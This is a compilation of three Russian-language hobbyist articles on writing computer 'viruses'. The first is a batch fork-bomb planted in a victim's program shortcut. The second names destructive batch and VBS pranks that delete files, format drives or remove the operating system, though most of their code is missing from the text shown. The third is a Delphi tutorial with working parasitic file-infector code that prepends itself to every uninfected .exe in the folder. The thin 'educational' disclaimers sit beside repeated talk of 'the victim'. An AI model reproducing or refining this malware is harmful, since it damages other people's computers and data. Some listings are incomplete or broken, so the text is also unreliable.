Компьютерный вирус своими руками
Небольшая статья по созданию «вируса» Именно в кавычках, потому что это вовсе не вирус, а совсем безобидный файл. Этой статьей я бы хотел довести до пользователей, что нужно больше разбираться в компьютерах и командах, чтобы избежать многих проблем. Улучшайте свою компьютерную грамотность
Итак, я Вам покажу как можно заставить тормозить компьютер стандартными средствами Windows . А если точнее, то я буду использовать Командную строку и её команды для написания файлов.
Ну что ж, начнём создавать шалость
1) Открываем Блокнот и вставляем туда следующий код:
Далее нужно сохранить его (меню Файл — Сохранить как) с расширением bat (например vinda.bat). Не буду слишком вдаваться в подробности сохранения.
Раскрою сразу карты, а точнее объясню (для тех кто не догадался) что делает каждая команда.
md c:\vindavoz — командой md создаём на диске С папку vindavoz
echo start c:\vindavoz\virus.bat>c:\vindavoz\virus.bat — самая вредная строка Команда echo используется для вывода сообщений в окне и по логике она должна вывести start c:\vindavoz\virus.bat и заглохнуть, но тут у нас стоит знак > который показывает куда нужно выводить это сообщение, а именно файл c:\vindavoz\virus.bat . Т.е. получается что папка уже создана, а файл ещё нет.
del %0 — удаляет сам себя Это на тот вариант, если Вы хотите скопировать файл на компьютер жертвы или заставите его/её самостоятельно запустить и он исчезнет. Ну а вообще это больше для ознакомления, чем нужная вещь.
После того, как запуститься данный файл, он создаст на диске С bat-файл с содержимым start c:\papka\virus.bat . Этот код внутри файла означает что он будет запускать себя постоянно!
Теперь осталось только заставить жертву запустить этот файл (созданный на диске С).
Делается это тоже довольно легко. Достаточно прописать в любом ярлыке (желательно в том, который чаще всего используется, например игра) путь к нашему «вирусу» , а именно в поле Объект пишем «c:\vindavoz\virus.bat» .
В итоге получается такой замкнутый процесс, когда файл запускает каждый раз сам себя, а на экране это отображается как бесконечно долгое и быстрое появление окон командной строки. Этот процесс будет ооочень быстрым и будет продолжаться довольно долго.
Но тут всё зависит от оперативной памяти на компьютере-жертве, но она всё равно когда-нибудь забьется от стольких процессов и комп зависнет.
Весь процесс можно остановить нажав кнопку Pause/Break
2) Теперь немного модернизируем это действие. Точнее заставим «зациклиться» кое-что «потяжелее», например стандартный редактор изображений Paint
Код немного изменю, чтобы показать другой способ зацикливания:
В первой строке создаем метку, во второй строке запускаем стандартный Paint, в третьей строке возвращаемся снова к метке.
Уловили мысль?
Узнать какие ещё можно использовать стандартные программы/утилиты можно посмотрев и прочитав статью Системные утилиты в Windows
Вместо стандартный и простых утилит можно использовать и «покруче», например фотошоп или офис )
3) Теперь снова изменим немного наш первый файл, но таким образом, чтобы мало что могло ему помочь Это уже более серьезно, поэтому код и комментарии я скрою от незарегистрированных пользователей.
Код:
Да, мы немного изменили первоначальный вид, несколько его увеличив. Что же добавилось? Первые две строки и последнюю Вы уже знаете, поэтому распишу лишь следующие:
Ну а дальше всё становится понятно.
Поле для размышлений велико. Эксперементируйте
Статья по самостоятельному созданию не вредного вируса написана исключительно в ознакомительных целях!
Источник
Как создаются вирусы | Создаем шуточные вирусы
Данная статья написана в образовательных целях и автор не несет ответственности за совершенные вами действия. Будьте благоразумны и цените труды других людей.
Как создаются компьютерные вирусы | Немного теории
Компьютерные вирусы – вид вредоносного программного обеспечения, способного создавать копии самого себя и внедряться в код других программ, системные области памяти, загрузочные секторы, а также распространять свои копии по разнообразным каналам связи.
Компьютерные вирусы имеют следующие классификации:
- Загрузочные вирусы – вирусы, которые проникают в загрузочный сектор устройств хранения данных, таких как жесткие диски, флэшки, дискеты и т.д., и способные нарушить доступность файлов.
- Файловые вирусы – тип вирусов, которые внедряются в выполняемые файлы (файлы с расширением COM и EXE) и негативно влияют на их функциональность.
- Файлово-загрузочные вирусы – вирусы, объединяющие в себе функции двух предыдущих типов вирусов;
- Документные вирусы – вид вирусов, которые заражают файлы офисных систем. Такой вид еще называют «макровирусами», поскольку заражение системы происходит посредством заражения макросов программы.
- Сетевые вирусы – тип вирусов, которые распространяются за счет использования компьютерной сети, т.е. сетевых служб и протоколов.
Самый известный вирус в мире назывался ILOVEYOU. По своей сути он был абсолютно безвредным, червь, который спамил почты людей. Однако недавно мир был подвержен кибератакам , которые заставили всех задуматься о своей безопасности. Вирус WannaCry заразил очень много компьютеров и требовал выкуп в размере 300 долларов в биткоинах. Однако некоторые аналитики считают, что это была лишь проверка и дальше будет ещё одна атака, гораздо больших масштабов и направлена она будет на пользователей Apple.
И всё же, WannaCry хоть и был распространен и довольно много с него денег поимели, это был обычный WinLocker, который можно было снять. Дело в том, что платили в большинстве банки и компании, у которых не было времени разбираться, а 300 долларов для них не является серьезной потерей.
Создаем шуточные вирусы и не только
Давайте создадим несколько своих вирусов, которые я не рекомендую проверять на своей компьютере, так как это может очень плохо закончиться.
Сделать такие вирусы сможет абсолютно каждый, так как нам не понадобятся специализированное ПО и т.п., нам нужен просто блокнот.
Сразу скажу, что сохранят наш файл практически во всех случаях мы будет в формате .bat, имя я пишу anyname, но вы можете давать абсолютно любое.
Удаление всех файлов
Данный код мы сохраняем как anyname.bat и все, после запуска всё содержимое удалится.
Синий экран Смерти
Данный код мы сохраняем в файл anyname.vbs, обратите внимание, что тут формат файла обязательно должен быть .vbs, а не .bat.
Форматируем диски C, D, E за три секунды
Сохраняем данный файл как anyname.bat и запускаем. Форматирование всех дисков произойдёт за три секунды.
Эффект Матрицы | Matrix Effect
@echo off
color 02 :tricks
echo %random%%random%%random%%random%%random%%random%%random%%random%
goto tricks
Сохраняем как anyname.bat и запускаем, это не опасно для вашего ПК.
Выключение ПК и отключение возможности перезагрузики
Сохраняем как kind.bat, ОПАСНО ЗАПУСКАТЬ НА СВОЕМ ПК!
Заменяем файлы на нерабочие
Данный вирус заменит следующие форматы(.exe .jpeg .png .mpeg .sys)
Сохраняем как anyname.bat и запускаем.
Удаление операционной системы
Сохраняем как anyname.bat и запускаем на ПК жертвы.
А на этом сегодня всё, спасибо за прочтение статьи и я надеюсь вы не будете злоупотреблять полученной информацией. Если вы хотите ещё вирусов, то пишите в комментариях, сделаем! Сохраните статью в своих социальных сетях, чтобы не потерять.
Источник
HLLP вирус своими руками
HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е.
программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и «заражает» дальше.
HLLC- High Level Language Companion. Большинство таких вирусов от-носятся к седой древности (8-10 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация
HLLC — более современная (7 лет ;)): Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.е. пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.
HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади
— тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми.
Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:
MZТело злобного вируса |
MZКод программы |
Что такое MZ, я думаю, ты догадался 🙂 Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла 🙂 А вписал я их сюда только для того, чтобы ты понЯл
— заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим
— будь здоров :). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:
MZтело злобного вируса |
XORed часть ориг. проги |
Неизменная часть ориг. проги |
В этом случае структура зараженного файла не будет так понятна.
Я не зря тут (в классификации, в смысле) так распинаюсь
— parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:
Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не
ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга
— вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ.
Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice :)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы 😉 Кстати, макро вирусы очень просты и легко определяются эвристикой.
Дошли 🙂 Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай 🙂 Мы будем работать только с DPRом, содержащим:
program EVIL_VIRUS;
USES WINDOWS,SYSUTILS;
begin
end;
Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу—> ждем завершения ее работы—> стираем «отработавший файл» (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).—> ищем незараженное файло и заражаем. Это все 🙂 Базовая конструкция вируса выглядит именно так.
Объяви теперь для своего могучего мозга следующие переменные и константы:
VaR VirBuf, ProgBuf, MyBuf : array of char;
SR : TSearchRec;
My,pr : File;
ProgSize,result : integer;
PN,st : String;
si : Tstartupinfo;
p :Tprocessinformation;
infected : boolean;
CONST VirLen: longint= 1000000;
Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся
характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже ;)), My и
Pr — это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше). result- результат работы FindFirst, он должен быть равен нулю,
ProgSize — размер кода программы. Остальное ясно из дальнейшего, кроме
infected — это признак зараженности найденного файла и
VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь.
Кодим далее 🙂 Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:
SetLength (virbuf,VirLen);
AssignFile (my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st[1],’c:\windows\program.exe’,false);
IF FileSize (my)> VirLen then
begin
//Запуск программы
AssignFile (my,’c:\windows\program.exe);
Reset (my);
ProgSize:= FileSize(my)-VirLen;
BlockRead (my,virbuf,virlen);
SetLength (progbuf,pRogSize);
BlockRead (my,progbuf,progSize);
CloseFile (my);
PN:= ‘_’+ParamStr(0);
AssignFile (pr,PN);
ReWrite (pr);
BlockWrite (pr,progbuf,progSize);
CloseFile (pr);
FillChar( Si, SizeOf( Si ) , 0 );
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
PN:= PN+#0;
Createprocess(nil,@PN[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
//Запустили, программа отработала. Сотрем ее 🙂
ErAsE (pr);
Erase (my);
Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно.
А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы
— на Delphi.
Строчки эти — преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно 🙂 Все остальное понятно без всяких комментариев (если нет
завязывай прогуливать информатику ;)), идем дальше:
result:= FindFirst (‘*.exe’,faAnyFile,sr);
WHILE Result= 0 DO
begin
//Проверка на вшивость
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= ‘03.08.98 06:00:00’ then infected:= true;
//Проверено!
IF (infected= false)and (sr.name<>paramstr(0)) then
begin
AssignFile (my,sr.Name);
ReWrite (my);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime (‘03.08.98 06:00:00’)));
end;
end;
//Если вир запущен «чистым», т.е. не из зараженной про-граммы, то завершаемся
end else halt;
Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению 🙂
Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь ;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.
Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием
WinAPI.
AssignFile — в WinAPI нет аналога — сопоставляет файл
с переменной типа File или TextFile
Reset — аналоги _lopen и CreateFile — открывает
существующий файл и устанавливает позицию
чтения в начало
ReWrite — _lcreate и CreateFile — создает новый файл и
уст. позицию чтения в начало. Если скормить
ReWrite существующий файл, его содержимое
будет обнулено
BlockRead — _lread и ReadFile — читает в буфер
определенное количество данных из файла
BlockWrite — _lwrite и WriteFile — соответственно, пишет
данные в файл
SeekFile — _llseek и SetFilePointer — перемещает позицию
чтения/записи в открытом файле
CloseFile — _lclose и CloseHandle — закрывает открытый
файл
Erase — DeleteFile — удаление файла
FindFirst — FindFirstFile — поиск файла по критериям
FindNext — FindNextFile — поиск следующего файла
Источник